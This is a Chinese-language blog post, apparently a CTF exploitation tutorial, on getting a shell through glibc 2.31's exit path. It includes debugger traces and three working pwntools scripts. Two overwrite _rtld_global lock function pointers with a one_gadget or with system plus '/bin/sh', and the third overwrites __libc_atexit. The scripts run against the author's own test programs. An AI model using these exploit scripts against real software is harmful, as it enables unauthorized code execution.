之前經常改 malloc_hook , realloc_hook,free_hook 為 one_gadget 來 get shell ,最近看到一種利用是改 exit hook(winmt師傅告訴我 其實沒有exit hook,它是函式指標)。
改 exit_hook 有兩種改法,一個是改為 one_gadget ,一個是改為 system ,再控制引數。
首先來看看 exit 這個函式裡面究竟是如何呼叫的。(由於網上 libc版本多為 2.23 ,2.27我就用 2.31 的 libc 來做了實驗)
進入 exit 之後我們發現它呼叫了 __run_exit_handlers ,我們單步進入 __run_exit_handlers。
1 0x7ffff7e09bc5 <exit+5> pop rax 2 0x7ffff7e09bc6 <exit+6> mov ecx, 1 3 0x7ffff7e09bcb <exit+11> mov edx, 1 4 0x7ffff7e09bd0 <exit+16> lea rsi, [rip + 0x1a1b41] <0x7ffff7fab718> 5 0x7ffff7e09bd7 <exit+23> sub rsp, 8 6 ► 0x7ffff7e09bdb <exit+27> call __run_exit_handlers <__run_exit_handlers> 7 rdi: 0x0 8 rsi: 0x7ffff7fab718 (__exit_funcs) —▸ 0x7ffff7fad980 (initial) ◂— 0x0 9 rdx: 0x1 10 rcx: 0x1 11 12 0x7ffff7e09be0 <on_exit> endbr64 13 0x7ffff7e09be4 <on_exit+4> push r12 14 0x7ffff7e09be6 <on_exit+6> push rbp 15 0x7ffff7e09be7 <on_exit+7> push rbx 16 0x7ffff7e09be8 <on_exit+8> test rdi, rdi
我們發現 __run_exit_handlers 又會呼叫 _dl_fini 函式,我們再單步進入。
1 0x7ffff7e1ea0a <__run_exit_handlers+218> mov rdi, qword ptr [rax + 0x20] 2 0x7ffff7e1ea0e <__run_exit_handlers+222> mov qword ptr [rax + 0x10], 0 3 0x7ffff7e1ea16 <__run_exit_handlers+230> mov esi, ebp 4 0x7ffff7e1ea18 <__run_exit_handlers+232> ror rdx, 0x11 5 0x7ffff7e1ea1c <__run_exit_handlers+236> xor rdx, qword ptr fs:[0x30] 6 ► 0x7ffff7e1ea25 <__run_exit_handlers+245> call rdx <_dl_fini> 7 8 0x7ffff7e1ea27 <__run_exit_handlers+247> jmp __run_exit_handlers+106 <__run_exit_handlers+106>
看一下 _dl_fini 的原始碼得知,會呼叫 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 函式,並且有一個 GL(dl_load_lock) 的傳參。
void
_dl_fini (void)
{
/* Lots of fun ahead. We have to call the destructors for all still
loaded objects, in all namespaces. The problem is that the ELF
specification now demands that dependencies between the modules
are taken into account. I.e., the destructor for a module is
called before the ones for any of its dependencies.
To make things more complicated, we cannot simply use the reverse
order of the constructors. Since the user might have loaded objects
using `dlopen' there are possibly several other modules with its
dependencies to be taken into account. Therefore we have to start
determining the order of the modules once again from the beginning. */
/* We run the destructors of the main namespaces last. As for the
other namespaces, we pick run the destructors in them in reverse
order of the namespace ID. */
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 的定義:
# define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)
# define __rtld_lock_unlock_recursive(NAME) \
GL(dl_rtld_unlock_recursive) (&(NAME).mutex)
#else
# define __rtld_lock_lock_recursive(NAME) \
__libc_maybe_call (__pthread_mutex_lock, (&(NAME).mutex), 0)
# define __rtld_lock_unlock_recursive(NAME) \
__libc_maybe_call (__pthread_mutex_unlock, (&(NAME).mutex), 0)
#endif
進入之後找到呼叫的兩個關鍵函式 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive,並且在呼叫之前會把某個地址裡的值賦給 rdi。
0x7ffff7fe0d7d <_dl_fini+45> lea rbx, [r12 + r12*8] 0x7ffff7fe0d81 <_dl_fini+49> lea rax, [rip + 0x1c2d8] <0x7ffff7ffd060> 0x7ffff7fe0d88 <_dl_fini+56> shl rbx, 4 0x7ffff7fe0d8c <_dl_fini+60> add rbx, rax 0x7ffff7fe0d8f <_dl_fini+63> jmp _dl_fini+106 <_dl_fini+106> ↓ ► 0x7ffff7fe0dba <_dl_fini+106> lea rdi, [rip + 0x1cba7] <0x7ffff7ffd968> 0x7ffff7fe0dc1 <_dl_fini+113> call qword ptr [rip + 0x1d1a1] <rtld_lock_default_lock_recursive>
1 pwndbg> x/gx 0x7ffff7ffd968 2 0x7ffff7ffd968 <_rtld_global+2312>: 0x0000000000000000
0x7ffff7fe0ec0 <_dl_fini+368> mov ecx, 1 0x7ffff7fe0ec5 <_dl_fini+373> call _dl_sort_maps <_dl_sort_maps> 0x7ffff7fe0eca <_dl_fini+378> lea rdi, [rip + 0x1ca97] <0x7ffff7ffd968> 0x7ffff7fe0ed1 <_dl_fini+385> call qword ptr [rip + 0x1d099] <rtld_lock_default_unlock_recursive>
那個地址其實是結構體 _rtld_global ,裡的一部分 ,存在於_dl_load_lock 裡,是 _rtld_global._dl_load_lock.mutex.__size的地址。
1 _dl_load_lock = { 2 mutex = { 3 __data = { 4 __lock = 0, 5 __count = 0, 6 __owner = 0, 7 __nusers = 0, 8 __kind = 1, 9 __spins = 0, 10 __elision = 0, 11 __list = { 12 __prev = 0x0, 13 __next = 0x0 14 } 15 }, 16 __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>, 17 __align = 0 18 } 19 },
由此我們可以想到兩個方法來 get shell 一個是改 rtld_lock_default_lock_recursive 或 rtld_lock_default_unlock_recursive 為 one_gadget , 另一個更通用就是改 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 為 system ,並且把 _rtld_global._dl_load_lock.mutex的值改為 /bin/sh\x00。
找到他們相對於 _rtld_global 偏移
_dl_rtld_lock_recursive = 0x7ffff7fd0150 <rtld_lock_default_lock_recursive>, _dl_rtld_unlock_recursive = 0x7ffff7fd0160 <rtld_lock_default_unlock_recursive>,
0x7ffff7ffdf60 <_rtld_global+3840>: 0x0000000000000000 0x00007ffff7fd0150 0x7ffff7ffdf70 <_rtld_global+3856>: 0x00007ffff7fd0160 0x0000000000000000
0x7ffff7ffd968 <_rtld_global+2312>: 0x0000000000000000
我分別寫了兩個相應的任意地址寫的漏洞程式來測試是否可行。
第一個改為one_gadget,我放了一個任意地址寫。
exp: _rtld_global 與的 ld 的偏移不變,而 ld 與 libc 的偏移也不變,故我們把 libc 與 ld 都載入進去。
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./exit_onegadget') elf = ELF('./exit_onegadget') libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so') ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so') printf_addr = int(s.recv(14),16) libc_base = printf_addr - libc.sym['printf'] #gdb.attach(s) ld_base = libc_base + 0x1f4000 _rtld_global = ld_base + ld.sym['_rtld_global'] _dl_rtld_lock_recursive = _rtld_global + 0xf08 _dl_rtld_unlock_recursive = _rtld_global + 0xf10 #_dl_rtld_lock_recursive = 0x7ffff7fd0150 #_dl_rtld_unlock_recursive = 0x7ffff7fd0160 onegadget = [0xe6aee,0xe6af1,0xe6af4] one_gadget = libc_base + onegadget[0] success('one_gadget=>' + hex(one_gadget)) s.send(p64(_dl_rtld_lock_recursive)) s.send(p64(one_gadget)) s.interactive() ''' 0xe6aee execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe6af1 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe6af4 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL '''
第二個改為 system 和 /bin/sh\x00 我放了兩個任意地址寫。
exp:
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./exit_system') elf = ELF('./exit_system') libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6') ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so') printf_addr = int(s.recv(14),16) libc_base = printf_addr - libc.sym['printf'] #gdb.attach(s) ld_base = libc_base + 0x1f4000 _rtld_global = ld_base + ld.sym['_rtld_global'] _dl_rtld_lock_recursive = _rtld_global + 0xf08 _dl_rtld_unlock_recursive = _rtld_global + 0xf10 _dl_load_lock = _rtld_global + 0x908 #_dl_rtld_lock_recursive = 0x7ffff7fd0150 #_dl_rtld_unlock_recursive = 0x7ffff7fd0160 s.send(p64(_dl_rtld_lock_recursive)) s.send(p64(libc_base + libc.sym['system']))
s.send(p64(_dl_load_lock)) s.send(b'/bin/sh\x00') s.interactive()
============================================================================================================================
之後winmt師傅告訴我他發現了一個新的小trick,tql tql(我只是 winmt 的搬運工)
關鍵原始碼:
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
_exit (status);
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true);
}
libc_hidden_def (exit)
extern void __run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit)
attribute_hidden __attribute__ ((__noreturn__));
由這兩行他說可以改掉 __libc_atexit 來實現 get shell ,實際上經過測試確實可行。
優點是任意地址改時比上面的操作簡單,所改函式就在 libc 裡,而不是在 ld 裡。
缺點是無法加引數,能不能成功取決於棧結構是否匹配 one_gadget。
可以用 one_gadget 的那個程式來試試這種方法。
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./a') libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6') printf_addr = int(s.recv(14),16) libc_base = printf_addr - libc.sym['printf'] onegadget = [0xe6aee,0xe6af1,0xe6af4] one_gadget = libc_base + onegadget[0] success('one_gadget=>' + hex(one_gadget)) s.send(p64(libc_base + 0x1ED608)) s.send(p64(one_gadget)) s.interactive()
提取碼:1jsi